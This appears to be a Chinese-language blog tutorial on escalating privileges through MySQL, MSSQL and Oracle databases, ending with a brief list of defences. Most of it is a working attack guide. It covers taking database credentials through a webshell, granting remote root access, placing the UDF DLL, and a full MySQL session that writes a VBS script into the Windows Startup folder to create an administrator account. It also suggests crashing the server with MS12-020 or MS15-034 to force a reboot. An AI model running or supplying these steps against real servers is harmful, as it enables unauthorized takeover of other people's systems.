本文主要介绍常见数据库如何进行提权操作,如mysql(mof,udf,启动项),mssql,orcale数据库,
1.mysql数据库
1.提权条件
开启数据库服务
获得数据库最高权限密码
1.如何获取到数据库账户密码
在拿下目标网站后,通过webshell去查看网站的数据库连接文件,一般会有数据库的用户及密码信息
数据库有对应的实体文件,通过实体文件去查看
2.udf提权
1.通过本地连接的方式连接数据库
2.开启root远程登录权限
基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。为root进行远程访问的授权,执行下面的命令:
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges;
第一句中"%"表示任何主机都可以远程登录到该服务器上访问。如果要限制只有某台机器可以访问,将其换成相应的IP即可,如: GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root"; 第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载
3.使用mysql提权工具连接(可以私信找我发你)
3.导入udf.dll
小于mysql5.1版本 C:\\WINDOWS\\udf.dll 或 C:\\WINDOWS\\system32\\udf.dll
等于mysql5.1版本 %mysql%\\plugin\\udf.dll 用 select @@plugin_dir 查询plugin路径 默认 C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll 因为我们这里是在C:\php\MySQL-5.1.50\lib\plugin\udf.dll
4.执行sql语句
可以有很多操作空间这里就不演示了
3.mof提权
条件:
操作系统低于2008
数据库版本低于5.7且允许外联
1.使用工具连接并执行命令
cmd命令行查看
注:该工具每隔五秒创建一次,彻底清除方法如下:
# 停止 winmgmt 服务net stop winmgmt
# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户net user hacker /delete
# 重新启动服务net start winmgmt
3.启动项提权
1、通过mysql数据库命令写入VBS脚本;
2、直接通过Webshell的Mysql写入启动项;
3、通过MS12-020、MS15-034重启服务器。
过程代码
C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
mysql> use test1;
mysql> create table a (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
#最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034
2.mssql提权
mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见。
3、oracle提权
Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,apsx网站默认需要提权。提权方法参考如下地址:
http://blog.csdn.net/sezvboyrul/article/details/2855401
4.如何防范
1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
3、及时升级数据库补丁。
4、安装Waf进行防御。
5、购买数据库审计设备